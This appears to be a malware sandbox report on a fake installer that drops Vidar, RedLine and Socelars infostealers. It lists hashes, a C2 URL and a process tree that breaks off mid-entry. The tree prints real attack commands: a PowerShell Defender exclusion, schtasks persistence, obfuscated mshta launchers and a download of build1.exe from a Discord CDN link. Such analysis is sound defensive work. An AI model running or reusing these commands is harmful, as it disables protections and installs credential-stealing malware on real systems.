Resubmissions

16-09-2021 20:34

210916-zcme3ahbgj 10

16-09-2021 14:08

210916-rfhmaadeg8 10

Analysis

  • max time kernel
    65s
  • max time network
    1750s
  • platform
    windows7_x64
  • resource
    win7-jp
  • submitted
    16-09-2021 14:08

General

  • Target

    setup_x86_x64_install.exe

  • Size

    7.1MB

  • MD5

    7b15ff87e11bd9bc7512b41635b68aeb

  • SHA1

    3ddf56275a2132a384d251247f38cc086b6db914

  • SHA256

    f92cfeb06515f18113a950d5bd569a23cdd85514ef509ccff6c5a4e9a08ca4c7

  • SHA512

    d16b63a203a3322ec70f99a7ca692770c45710e2c0d50f24bf027d8d41d579d721e8cf5f20cc95436b1640b821b8efe1a3c617232cdc18c13be0e37431f7baab

Malware Config

Extracted

Family

vidar

Version

40.6

Botnet

706

C2

https://dimonbk83.tumblr.com/

Attributes
  • profile_id

    706

Signatures

  • Modifies Windows Defender Real-time Protection settings 3 TTPs
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

  • RedLine Payload 1 IoCs
  • Socelars

    Socelars is an infostealer targeting browser cookies and credit card credentials.

  • Socelars Payload 3 IoCs
  • Vidar

    Vidar is an infostealer based on Arkei stealer.

  • Vidar Stealer 2 IoCs
  • ASPack v2.12-2.42 6 IoCs

    Detects executables packed with ASPack v2.12-2.42

  • Downloads MZ/PE file
  • Executes dropped EXE 17 IoCs
  • VMProtect packed file 2 IoCs

    Detects executables packed with VMProtect commercial packer.

  • Loads dropped DLL 54 IoCs
  • Themida packer 1 IoCs

    Detects Themida, an advanced Windows software protection system.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs
  • Looks up external IP address via web service 5 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 3 IoCs
  • Creates scheduled task(s) 1 TTPs 3 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Delays execution with timeout.exe 1 IoCs
  • Kills process with taskkill 2 IoCs
  • Runs ping.exe 1 TTPs 1 IoCs
  • Script User-Agent 1 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\setup_x86_x64_install.exe
    "C:\Users\Admin\AppData\Local\Temp\setup_x86_x64_install.exe"
    1⤵
    • Loads dropped DLL
    • Suspicious use of WriteProcessMemory
    PID:1644
    • C:\Users\Admin\AppData\Local\Temp\setup_installer.exe
      "C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"
      2⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • Suspicious use of WriteProcessMemory
      PID:1928
      • C:\Users\Admin\AppData\Local\Temp\7zS887C4051\setup_install.exe
        "C:\Users\Admin\AppData\Local\Temp\7zS887C4051\setup_install.exe"
        3⤵
        • Executes dropped EXE
        • Loads dropped DLL
        • Suspicious use of WriteProcessMemory
        PID:1240
        • C:\Windows\SysWOW64\cmd.exe
          C:\Windows\system32\cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:1140
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"
            5⤵
              PID:596
          • C:\Windows\SysWOW64\cmd.exe
            C:\Windows\system32\cmd.exe /c Thu115049bf2e.exe
            4⤵
            • Loads dropped DLL
            PID:1112
            • C:\Users\Admin\AppData\Local\Temp\7zS887C4051\Thu115049bf2e.exe
              Thu115049bf2e.exe
              5⤵
              • Executes dropped EXE
              • Suspicious use of AdjustPrivilegeToken
              PID:1592
              • C:\Users\Admin\AppData\Roaming\5717978.scr
                "C:\Users\Admin\AppData\Roaming\5717978.scr" /S
                6⤵
                  PID:2736
                  • C:\Windows\system32\WerFault.exe
                    C:\Windows\system32\WerFault.exe -u -p 2736 -s 1584
                    7⤵
                    • Program crash
                    PID:2744
                • C:\Users\Admin\AppData\Roaming\3971590.scr
                  "C:\Users\Admin\AppData\Roaming\3971590.scr" /S
                  6⤵
                    PID:2800
                  • C:\Users\Admin\AppData\Roaming\6683535.scr
                    "C:\Users\Admin\AppData\Roaming\6683535.scr" /S
                    6⤵
                      PID:2840
                      • C:\Windows\SysWOW64\cmd.exe
                        cmd.exe /C timeout /T 10 /NOBREAK > Nul & Del /f /q "C:\Users\Admin\AppData\Roaming\6683535.scr"
                        7⤵
                          PID:3552
                          • C:\Windows\SysWOW64\timeout.exe
                            timeout /T 10 /NOBREAK
                            8⤵
                            • Delays execution with timeout.exe
                            PID:1412
                  • C:\Windows\SysWOW64\cmd.exe
                    C:\Windows\system32\cmd.exe /c Thu11b9fee5fd5b3c.exe
                    4⤵
                      PID:2040
                    • C:\Windows\SysWOW64\cmd.exe
                      C:\Windows\system32\cmd.exe /c Thu118764660749a3b.exe
                      4⤵
                      • Loads dropped DLL
                      PID:1632
                      • C:\Users\Admin\AppData\Local\Temp\7zS887C4051\Thu118764660749a3b.exe
                        Thu118764660749a3b.exe
                        5⤵
                        • Executes dropped EXE
                        PID:1628
                    • C:\Windows\SysWOW64\cmd.exe
                      C:\Windows\system32\cmd.exe /c Thu116d4ab7efb7.exe
                      4⤵
                      • Loads dropped DLL
                      PID:1452
                      • C:\Users\Admin\AppData\Local\Temp\7zS887C4051\Thu116d4ab7efb7.exe
                        Thu116d4ab7efb7.exe
                        5⤵
                        • Executes dropped EXE
                        PID:1000
                    • C:\Windows\SysWOW64\cmd.exe
                      C:\Windows\system32\cmd.exe /c Thu11787d2b833e6.exe
                      4⤵
                      • Loads dropped DLL
                      PID:1120
                      • C:\Users\Admin\AppData\Local\Temp\7zS887C4051\Thu11787d2b833e6.exe
                        Thu11787d2b833e6.exe
                        5⤵
                        • Executes dropped EXE
                        PID:748
                    • C:\Windows\SysWOW64\cmd.exe
                      C:\Windows\system32\cmd.exe /c Thu112e5981b78.exe
                      4⤵
                      • Loads dropped DLL
                      PID:752
                      • C:\Users\Admin\AppData\Local\Temp\7zS887C4051\Thu112e5981b78.exe
                        Thu112e5981b78.exe
                        5⤵
                        • Executes dropped EXE
                        • Loads dropped DLL
                        PID:1736
                        • C:\Users\Admin\AppData\Local\Temp\is-5L0AU.tmp\Thu112e5981b78.tmp
                          "C:\Users\Admin\AppData\Local\Temp\is-5L0AU.tmp\Thu112e5981b78.tmp" /SL5="$70160,506086,422400,C:\Users\Admin\AppData\Local\Temp\7zS887C4051\Thu112e5981b78.exe"
                          6⤵
                          • Executes dropped EXE
                          • Loads dropped DLL
                          PID:2080
                          • C:\Users\Admin\AppData\Local\Temp\is-M1GNI.tmp\___YHDG34.exe
                            "C:\Users\Admin\AppData\Local\Temp\is-M1GNI.tmp\___YHDG34.exe" /S /UID=burnerch2
                            7⤵
                            • Executes dropped EXE
                            PID:2428
                    • C:\Windows\SysWOW64\cmd.exe
                      C:\Windows\system32\cmd.exe /c Thu1160e2804caf.exe
                      4⤵
                      • Loads dropped DLL
                      PID:300
                      • C:\Users\Admin\AppData\Local\Temp\7zS887C4051\Thu1160e2804caf.exe
                        Thu1160e2804caf.exe
                        5⤵
                        • Executes dropped EXE
                        • Suspicious use of AdjustPrivilegeToken
                        PID:1960
                        • C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe
                          "C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"
                          6⤵
                            PID:2720
                            • C:\Users\Admin\AppData\Local\Temp\Chrome 5.exe
                              "C:\Users\Admin\AppData\Local\Temp\Chrome 5.exe"
                              7⤵
                                PID:2944
                                • C:\Windows\System32\cmd.exe
                                  "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"' & exit
                                  8⤵
                                    PID:1416
                                    • C:\Windows\system32\schtasks.exe
                                      schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"'
                                      9⤵
                                      • Creates scheduled task(s)
                                      PID:1096
                                  • C:\Users\Admin\AppData\Roaming\services64.exe
                                    "C:\Users\Admin\AppData\Roaming\services64.exe"
                                    8⤵
                                      PID:1724
                                  • C:\Users\Admin\AppData\Local\Temp\PublicDwlBrowser1100.exe
                                    "C:\Users\Admin\AppData\Local\Temp\PublicDwlBrowser1100.exe"
                                    7⤵
                                      PID:2988
                                    • C:\Users\Admin\AppData\Local\Temp\2.exe
                                      "C:\Users\Admin\AppData\Local\Temp\2.exe"
                                      7⤵
                                        PID:3032
                                        • C:\Windows\system32\WerFault.exe
                                          C:\Windows\system32\WerFault.exe -u -p 3032 -s 1400
                                          8⤵
                                          • Program crash
                                          PID:1928
                                      • C:\Users\Admin\AppData\Local\Temp\setup.exe
                                        "C:\Users\Admin\AppData\Local\Temp\setup.exe"
                                        7⤵
                                          PID:760
                                          • C:\Windows\SysWOW64\cmd.exe
                                            "C:\Windows\System32\cmd.exe" /c taskkill /im "setup.exe" /f & erase "C:\Users\Admin\AppData\Local\Temp\setup.exe" & exit
                                            8⤵
                                              PID:2860
                                              • C:\Windows\SysWOW64\taskkill.exe
                                                taskkill /im "setup.exe" /f
                                                9⤵
                                                • Kills process with taskkill
                                                PID:3028
                                          • C:\Users\Admin\AppData\Local\Temp\ShadowVPNInstaller_v4.exe
                                            "C:\Users\Admin\AppData\Local\Temp\ShadowVPNInstaller_v4.exe"
                                            7⤵
                                              PID:1244
                                            • C:\Users\Admin\AppData\Local\Temp\LivelyScreenRecMa14.exe
                                              "C:\Users\Admin\AppData\Local\Temp\LivelyScreenRecMa14.exe"
                                              7⤵
                                                PID:1404
                                                • C:\Users\Admin\AppData\Local\Temp\tmpBC2_tmp.exe
                                                  "C:\Users\Admin\AppData\Local\Temp\tmpBC2_tmp.exe"
                                                  8⤵
                                                    PID:3340
                                                • C:\Users\Admin\AppData\Local\Temp\6.exe
                                                  "C:\Users\Admin\AppData\Local\Temp\6.exe"
                                                  7⤵
                                                    PID:1392
                                                  • C:\Users\Admin\AppData\Local\Temp\setup_2.exe
                                                    "C:\Users\Admin\AppData\Local\Temp\setup_2.exe"
                                                    7⤵
                                                      PID:3976
                                                      • C:\Users\Admin\AppData\Local\Temp\is-EUJHQ.tmp\setup_2.tmp
                                                        "C:\Users\Admin\AppData\Local\Temp\is-EUJHQ.tmp\setup_2.tmp" /SL5="$50176,140785,56832,C:\Users\Admin\AppData\Local\Temp\setup_2.exe"
                                                        8⤵
                                                          PID:2592
                                                          • C:\Users\Admin\AppData\Local\Temp\setup_2.exe
                                                            "C:\Users\Admin\AppData\Local\Temp\setup_2.exe" /SILENT
                                                            9⤵
                                                              PID:3660
                                                        • C:\Users\Admin\AppData\Local\Temp\3002.exe
                                                          "C:\Users\Admin\AppData\Local\Temp\3002.exe"
                                                          7⤵
                                                            PID:2276
                                                          • C:\Users\Admin\AppData\Local\Temp\jhuuee.exe
                                                            "C:\Users\Admin\AppData\Local\Temp\jhuuee.exe"
                                                            7⤵
                                                              PID:2928
                                                            • C:\Users\Admin\AppData\Local\Temp\BearVpn 3.exe
                                                              "C:\Users\Admin\AppData\Local\Temp\BearVpn 3.exe"
                                                              7⤵
                                                                PID:3192
                                                        • C:\Windows\SysWOW64\cmd.exe
                                                          C:\Windows\system32\cmd.exe /c Thu1170fdf4c09b1.exe
                                                          4⤵
                                                          • Loads dropped DLL
                                                          PID:1168
                                                          • C:\Users\Admin\AppData\Local\Temp\7zS887C4051\Thu1170fdf4c09b1.exe
                                                            Thu1170fdf4c09b1.exe
                                                            5⤵
                                                            • Executes dropped EXE
                                                            • Loads dropped DLL
                                                            PID:1576
                                                            • C:\Users\Admin\AppData\Local\Temp\7zS887C4051\Thu1170fdf4c09b1.exe
                                                              C:\Users\Admin\AppData\Local\Temp\7zS887C4051\Thu1170fdf4c09b1.exe
                                                              6⤵
                                                                PID:1476
                                                          • C:\Windows\SysWOW64\cmd.exe
                                                            C:\Windows\system32\cmd.exe /c Thu1171b1ca5023f5d2.exe
                                                            4⤵
                                                            • Loads dropped DLL
                                                            PID:1648
                                                            • C:\Users\Admin\AppData\Local\Temp\7zS887C4051\Thu1171b1ca5023f5d2.exe
                                                              Thu1171b1ca5023f5d2.exe
                                                              5⤵
                                                              • Executes dropped EXE
                                                              PID:1536
                                                          • C:\Windows\SysWOW64\cmd.exe
                                                            C:\Windows\system32\cmd.exe /c Thu11f1187a97f50d9c.exe
                                                            4⤵
                                                            • Loads dropped DLL
                                                            PID:1588
                                                            • C:\Users\Admin\AppData\Local\Temp\7zS887C4051\Thu11f1187a97f50d9c.exe
                                                              Thu11f1187a97f50d9c.exe
                                                              5⤵
                                                              • Executes dropped EXE
                                                              • Loads dropped DLL
                                                              PID:1300
                                                              • C:\Users\Admin\Documents\88CrqSkjK4isOCOqvtO2BIVs.exe
                                                                "C:\Users\Admin\Documents\88CrqSkjK4isOCOqvtO2BIVs.exe"
                                                                6⤵
                                                                  PID:2904
                                                                • C:\Users\Admin\Documents\01Cj2j8I_3SVzWwKfKYU23I5.exe
                                                                  "C:\Users\Admin\Documents\01Cj2j8I_3SVzWwKfKYU23I5.exe"
                                                                  6⤵
                                                                    PID:2552
                                                                  • C:\Users\Admin\Documents\5ynnywL2bSyOp28nPlXDJhqd.exe
                                                                    "C:\Users\Admin\Documents\5ynnywL2bSyOp28nPlXDJhqd.exe"
                                                                    6⤵
                                                                      PID:2640
                                                                    • C:\Users\Admin\Documents\P0VM0HsOJ0hOc8NMIpjduHGF.exe
                                                                      "C:\Users\Admin\Documents\P0VM0HsOJ0hOc8NMIpjduHGF.exe"
                                                                      6⤵
                                                                        PID:1712
                                                                        • C:\Windows\SysWOW64\schtasks.exe
                                                                          schtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl LG" /sc ONLOGON /rl HIGHEST
                                                                          7⤵
                                                                          • Creates scheduled task(s)
                                                                          PID:2796
                                                                        • C:\Windows\SysWOW64\schtasks.exe
                                                                          schtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl HR" /sc HOURLY /rl HIGHEST
                                                                          7⤵
                                                                          • Creates scheduled task(s)
                                                                          PID:3100
                                                                        • C:\Users\Admin\Documents\qT3dWYBP7ZsuOrwW4ZcUbjl6.exe
                                                                          "C:\Users\Admin\Documents\qT3dWYBP7ZsuOrwW4ZcUbjl6.exe"
                                                                          7⤵
                                                                            PID:988
                                                                        • C:\Users\Admin\Documents\0kpDzG2IhJMMhder7iBfX3Vb.exe
                                                                          "C:\Users\Admin\Documents\0kpDzG2IhJMMhder7iBfX3Vb.exe"
                                                                          6⤵
                                                                            PID:2352
                                                                          • C:\Users\Admin\Documents\fWuvEtFcEM1VqzPYkLJrUtJa.exe
                                                                            "C:\Users\Admin\Documents\fWuvEtFcEM1VqzPYkLJrUtJa.exe"
                                                                            6⤵
                                                                              PID:1824
                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                "C:\Windows\System32\cmd.exe" /c taskkill /im "fWuvEtFcEM1VqzPYkLJrUtJa.exe" /f & erase "C:\Users\Admin\Documents\fWuvEtFcEM1VqzPYkLJrUtJa.exe" & exit
                                                                                7⤵
                                                                                  PID:3380
                                                                              • C:\Users\Admin\Documents\y1Jw4M9t4yymz4C_W71k3ZMc.exe
                                                                                "C:\Users\Admin\Documents\y1Jw4M9t4yymz4C_W71k3ZMc.exe"
                                                                                6⤵
                                                                                  PID:2528
                                                                                • C:\Users\Admin\Documents\AxESLQUKtM5t3PgaK4qXWbPb.exe
                                                                                  "C:\Users\Admin\Documents\AxESLQUKtM5t3PgaK4qXWbPb.exe"
                                                                                  6⤵
                                                                                  • Suspicious use of WriteProcessMemory
                                                                                  PID:1112
                                                                                  • C:\Users\Admin\Documents\AxESLQUKtM5t3PgaK4qXWbPb.exe
                                                                                    C:\Users\Admin\Documents\AxESLQUKtM5t3PgaK4qXWbPb.exe
                                                                                    7⤵
                                                                                      PID:3620
                                                                                  • C:\Users\Admin\Documents\hOnywAv4Cm0G_SbE_z1FfA_O.exe
                                                                                    "C:\Users\Admin\Documents\hOnywAv4Cm0G_SbE_z1FfA_O.exe"
                                                                                    6⤵
                                                                                      PID:2688
                                                                                      • C:\Windows\SysWOW64\mshta.exe
                                                                                        "C:\Windows\System32\mshta.exe" vbsCrIPT: CLOse ( crEateOBjeCt ( "wScrIPT.SHELL" ). RuN ( "C:\Windows\system32\cmd.exe /c TYpE ""C:\Users\Admin\Documents\hOnywAv4Cm0G_SbE_z1FfA_O.exe"" >CndH5V.EXe && Start Cndh5V.EXE -pHMKPyuuVVnjhxYIEreJKQmnfTDzj & IF """"== """" for %w In ( ""C:\Users\Admin\Documents\hOnywAv4Cm0G_SbE_z1FfA_O.exe"" ) do taskkill /F -iM ""%~nxw"" " , 0 , tRUE ) )
                                                                                        7⤵
                                                                                          PID:3908
                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                            "C:\Windows\system32\cmd.exe" /c TYpE "C:\Users\Admin\Documents\hOnywAv4Cm0G_SbE_z1FfA_O.exe" >CndH5V.EXe && Start Cndh5V.EXE -pHMKPyuuVVnjhxYIEreJKQmnfTDzj& IF ""== "" for %w In ( "C:\Users\Admin\Documents\hOnywAv4Cm0G_SbE_z1FfA_O.exe" ) do taskkill /F -iM "%~nxw"
                                                                                            8⤵
                                                                                              PID:3972
                                                                                              • C:\Windows\SysWOW64\taskkill.exe
                                                                                                taskkill /F -iM "hOnywAv4Cm0G_SbE_z1FfA_O.exe"
                                                                                                9⤵
                                                                                                • Kills process with taskkill
                                                                                                PID:4080
                                                                                              • C:\Users\Admin\AppData\Local\Temp\CndH5V.EXe
                                                                                                Cndh5V.EXE -pHMKPyuuVVnjhxYIEreJKQmnfTDzj
                                                                                                9⤵
                                                                                                  PID:3608
                                                                                                  • C:\Windows\SysWOW64\mshta.exe
                                                                                                    "C:\Windows\System32\mshta.exe" vbsCrIPT: CLOse ( crEateOBjeCt ( "wScrIPT.SHELL" ). RuN ( "C:\Windows\system32\cmd.exe /c TYpE ""C:\Users\Admin\AppData\Local\Temp\CndH5V.EXe"" >CndH5V.EXe && Start Cndh5V.EXE -pHMKPyuuVVnjhxYIEreJKQmnfTDzj & IF ""-pHMKPyuuVVnjhxYIEreJKQmnfTDzj""== """" for %w In ( ""C:\Users\Admin\AppData\Local\Temp\CndH5V.EXe"" ) do taskkill /F -iM ""%~nxw"" " , 0 , tRUE ) )
                                                                                                    10⤵
                                                                                                      PID:2520
                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                        "C:\Windows\system32\cmd.exe" /c TYpE "C:\Users\Admin\AppData\Local\Temp\CndH5V.EXe" >CndH5V.EXe && Start Cndh5V.EXE -pHMKPyuuVVnjhxYIEreJKQmnfTDzj& IF "-pHMKPyuuVVnjhxYIEreJKQmnfTDzj"== "" for %w In ( "C:\Users\Admin\AppData\Local\Temp\CndH5V.EXe" ) do taskkill /F -iM "%~nxw"
                                                                                                        11⤵
                                                                                                          PID:620
                                                                                                      • C:\Windows\SysWOW64\rundll32.exe
                                                                                                        "C:\Windows\System32\rundll32.exe" bFut_Y.g_U,GpozpZJ
                                                                                                        10⤵
                                                                                                          PID:2832
                                                                                                • C:\Users\Admin\Documents\oaPGowVKc4RetD0juFgDtugn.exe
                                                                                                  "C:\Users\Admin\Documents\oaPGowVKc4RetD0juFgDtugn.exe"
                                                                                                  6⤵
                                                                                                    PID:1296
                                                                                                  • C:\Users\Admin\Documents\A126OlPMHh3DDuIdwN3aYLjX.exe
                                                                                                    "C:\Users\Admin\Documents\A126OlPMHh3DDuIdwN3aYLjX.exe"
                                                                                                    6⤵
                                                                                                      PID:1524
                                                                                                      • C:\Users\Admin\Documents\A126OlPMHh3DDuIdwN3aYLjX.exe
                                                                                                        "C:\Users\Admin\Documents\A126OlPMHh3DDuIdwN3aYLjX.exe"
                                                                                                        7⤵
                                                                                                          PID:3732
                                                                                                      • C:\Users\Admin\Documents\qFmenzbrdEujOcyMjwbgKuCu.exe
                                                                                                        "C:\Users\Admin\Documents\qFmenzbrdEujOcyMjwbgKuCu.exe"
                                                                                                        6⤵
                                                                                                          PID:1656
                                                                                                        • C:\Users\Admin\Documents\HXt2RDGAmGqVOSRSkqAEtlYE.exe
                                                                                                          "C:\Users\Admin\Documents\HXt2RDGAmGqVOSRSkqAEtlYE.exe"
                                                                                                          6⤵
                                                                                                            PID:1152
                                                                                                          • C:\Users\Admin\Documents\MU0KQ9m8ACN9F86_c5ViBDjC.exe
                                                                                                            "C:\Users\Admin\Documents\MU0KQ9m8ACN9F86_c5ViBDjC.exe"
                                                                                                            6⤵
                                                                                                              PID:2624
                                                                                                              • C:\Program Files (x86)\Company\NewProduct\inst001.exe
                                                                                                                "C:\Program Files (x86)\Company\NewProduct\inst001.exe"
                                                                                                                7⤵
                                                                                                                  PID:4036
                                                                                                                • C:\Program Files (x86)\Company\NewProduct\md8_8eus.exe
                                                                                                                  "C:\Program Files (x86)\Company\NewProduct\md8_8eus.exe"
                                                                                                                  7⤵
                                                                                                                    PID:4028
                                                                                                                  • C:\Program Files (x86)\Company\NewProduct\cutm3.exe
                                                                                                                    "C:\Program Files (x86)\Company\NewProduct\cutm3.exe"
                                                                                                                    7⤵
                                                                                                                      PID:4008
                                                                                                                  • C:\Users\Admin\Documents\LhYosfIcFy8vOPMgxHBjxzfN.exe
                                                                                                                    "C:\Users\Admin\Documents\LhYosfIcFy8vOPMgxHBjxzfN.exe"
                                                                                                                    6⤵
                                                                                                                      PID:2544
                                                                                                                    • C:\Users\Admin\Documents\hNtxL3C_Lq7PoHtYdgGujZwD.exe
                                                                                                                      "C:\Users\Admin\Documents\hNtxL3C_Lq7PoHtYdgGujZwD.exe"
                                                                                                                      6⤵
                                                                                                                        PID:1204
                                                                                                                      • C:\Users\Admin\Documents\KojOksx210f0sVA462Dwobsm.exe
                                                                                                                        "C:\Users\Admin\Documents\KojOksx210f0sVA462Dwobsm.exe"
                                                                                                                        6⤵
                                                                                                                          PID:880
                                                                                                                        • C:\Users\Admin\Documents\OA_u4ihTRz40wHxJ8RJzrCRI.exe
                                                                                                                          "C:\Users\Admin\Documents\OA_u4ihTRz40wHxJ8RJzrCRI.exe"
                                                                                                                          6⤵
                                                                                                                            PID:2460
                                                                                                                          • C:\Users\Admin\Documents\rG3EYZif2lQv5WVyy_FAso7P.exe
                                                                                                                            "C:\Users\Admin\Documents\rG3EYZif2lQv5WVyy_FAso7P.exe"
                                                                                                                            6⤵
                                                                                                                              PID:564
                                                                                                                            • C:\Users\Admin\Documents\09sgg6BPp12VMep_2LLDBwH3.exe
                                                                                                                              "C:\Users\Admin\Documents\09sgg6BPp12VMep_2LLDBwH3.exe"
                                                                                                                              6⤵
                                                                                                                                PID:2620
                                                                                                                              • C:\Users\Admin\Documents\kiRwRZnOioy3vIsO6PLjkRPZ.exe
                                                                                                                                "C:\Users\Admin\Documents\kiRwRZnOioy3vIsO6PLjkRPZ.exe"
                                                                                                                                6⤵
                                                                                                                                  PID:1732
                                                                                                                                • C:\Users\Admin\Documents\jBIwjuhh5o9nDl5EGV0iepuv.exe
                                                                                                                                  "C:\Users\Admin\Documents\jBIwjuhh5o9nDl5EGV0iepuv.exe"
                                                                                                                                  6⤵
                                                                                                                                    PID:2128
                                                                                                                                  • C:\Users\Admin\Documents\f_OiPk6NpWRuDRAUyivM4ZhF.exe
                                                                                                                                    "C:\Users\Admin\Documents\f_OiPk6NpWRuDRAUyivM4ZhF.exe"
                                                                                                                                    6⤵
                                                                                                                                      PID:2668
                                                                                                                                    • C:\Users\Admin\Documents\BTgslBHO2AgM1Q2R_BoB_vri.exe
                                                                                                                                      "C:\Users\Admin\Documents\BTgslBHO2AgM1Q2R_BoB_vri.exe"
                                                                                                                                      6⤵
                                                                                                                                        PID:1956
                                                                                                                                      • C:\Users\Admin\Documents\wQ9tYqkcDutG6vYFYRPRZA2P.exe
                                                                                                                                        "C:\Users\Admin\Documents\wQ9tYqkcDutG6vYFYRPRZA2P.exe"
                                                                                                                                        6⤵
                                                                                                                                          PID:2836
                                                                                                                                        • C:\Users\Admin\Documents\iieJrIm7x5f8n8SUmAjx4J6A.exe
                                                                                                                                          "C:\Users\Admin\Documents\iieJrIm7x5f8n8SUmAjx4J6A.exe"
                                                                                                                                          6⤵
                                                                                                                                            PID:924
                                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                              "cmd" /c cmd < Sai.tmp
                                                                                                                                              7⤵
                                                                                                                                                PID:2984
                                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                  cmd
                                                                                                                                                  8⤵
                                                                                                                                                    PID:1196
                                                                                                                                                    • C:\Windows\SysWOW64\findstr.exe
                                                                                                                                                      findstr /V /R "^SSpBUHXGKUiBGIGMjTOcaYjEyMbzyuBEujmkDFBqdKBfyUsPCLGVjFXTFEvopDAEaCxzpxoHaNyHvXnlxIRzmFaBfFGYpaQNlXWCm$" Subitanea.tmp
                                                                                                                                                      9⤵
                                                                                                                                                        PID:2244
                                                                                                                                                      • C:\Windows\SysWOW64\PING.EXE
                                                                                                                                                        ping localhost
                                                                                                                                                        9⤵
                                                                                                                                                        • Runs ping.exe
                                                                                                                                                        PID:2136
                                                                                                                                                      • C:\Users\Admin\AppData\Roaming\Levandosi.exe.com
                                                                                                                                                        Levandosi.exe.com K
                                                                                                                                                        9⤵
                                                                                                                                                          PID:3540
                                                                                                                                                          • C:\Users\Admin\AppData\Roaming\Levandosi.exe.com
                                                                                                                                                            C:\Users\Admin\AppData\Roaming\Levandosi.exe.com K
                                                                                                                                                            10⤵
                                                                                                                                                              PID:2512
                                                                                                                                                              • C:\Users\Admin\AppData\Roaming\Levandosi.exe.com
                                                                                                                                                                C:\Users\Admin\AppData\Roaming\Levandosi.exe.com K
                                                                                                                                                                11⤵
                                                                                                                                                                  PID:2356
                                                                                                                                                      • C:\Users\Admin\Documents\gJpk4vDMkef91BdBRN8FwQeo.exe
                                                                                                                                                        "C:\Users\Admin\Documents\gJpk4vDMkef91BdBRN8FwQeo.exe"
                                                                                                                                                        6⤵
                                                                                                                                                          PID:808
                                                                                                                                                        • C:\Users\Admin\Documents\WRrO45t04O3a94WnJyqCSEfx.exe
                                                                                                                                                          "C:\Users\Admin\Documents\WRrO45t04O3a94WnJyqCSEfx.exe"
                                                                                                                                                          6⤵
                                                                                                                                                            PID:4056
                                                                                                                                                            • C:\Windows\system32\cmd.exe
                                                                                                                                                              "C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\97EB.tmp\97EC.tmp\97ED.bat C:\Users\Admin\Documents\WRrO45t04O3a94WnJyqCSEfx.exe"
                                                                                                                                                              7⤵
                                                                                                                                                                PID:3632
                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\97EB.tmp\97EC.tmp\extd.exe
                                                                                                                                                                  C:\Users\Admin\AppData\Local\Temp\97EB.tmp\97EC.tmp\extd.exe "/hideself" "" "" "" "" "" "" "" ""
                                                                                                                                                                  8⤵
                                                                                                                                                                    PID:2952
                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\97EB.tmp\97EC.tmp\extd.exe
                                                                                                                                                                    C:\Users\Admin\AppData\Local\Temp\97EB.tmp\97EC.tmp\extd.exe "/random" "9000000" "" "" "" "" "" "" ""
                                                                                                                                                                    8⤵
                                                                                                                                                                      PID:2976
                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\97EB.tmp\97EC.tmp\extd.exe
                                                                                                                                                                      C:\Users\Admin\AppData\Local\Temp\97EB.tmp\97EC.tmp\extd.exe "/download" "https://cdn.discordapp.com/attachments/887783238561570859/887783328634241024/build1.exe" "build1.exe" "" "" "" "" "" ""
                                                                                                                                                                      8⤵
                                                                                                                                                                        PID:3704
                                                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                C:\Windows\system32\cmd.exe /c Thu118c8b4c3885d897d.exe
                                                                                                                                                                4⤵
                                                                                                                                                                • Loads dropped DLL
                                                                                                                                                                PID:1980
                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\7zS887C4051\Thu118c8b4c3885d897d.exe
                                                                                                                                                                  Thu118c8b4c3885d897d.exe
                                                                                                                                                                  5⤵
                                                                                                                                                                  • Executes dropped EXE
                                                                                                                                                                  • Loads dropped DLL
                                                                                                                                                                  PID:1596
                                                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                C:\Windows\system32\cmd.exe /c Thu1189012621353ba47.exe
                                                                                                                                                                4⤵
                                                                                                                                                                • Loads dropped DLL
                                                                                                                                                                PID:1908
                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\7zS887C4051\Thu1189012621353ba47.exe
                                                                                                                                                                  Thu1189012621353ba47.exe
                                                                                                                                                                  5⤵
                                                                                                                                                                  • Executes dropped EXE
                                                                                                                                                                  • Loads dropped DLL
                                                                                                                                                                  PID:1612
                                                                                                                                                                  • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                    C:\Windows\SysWOW64\WerFault.exe -u -p 1612 -s 984
                                                                                                                                                                    6⤵
                                                                                                                                                                    • Program crash
                                                                                                                                                                    PID:2232
                                                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
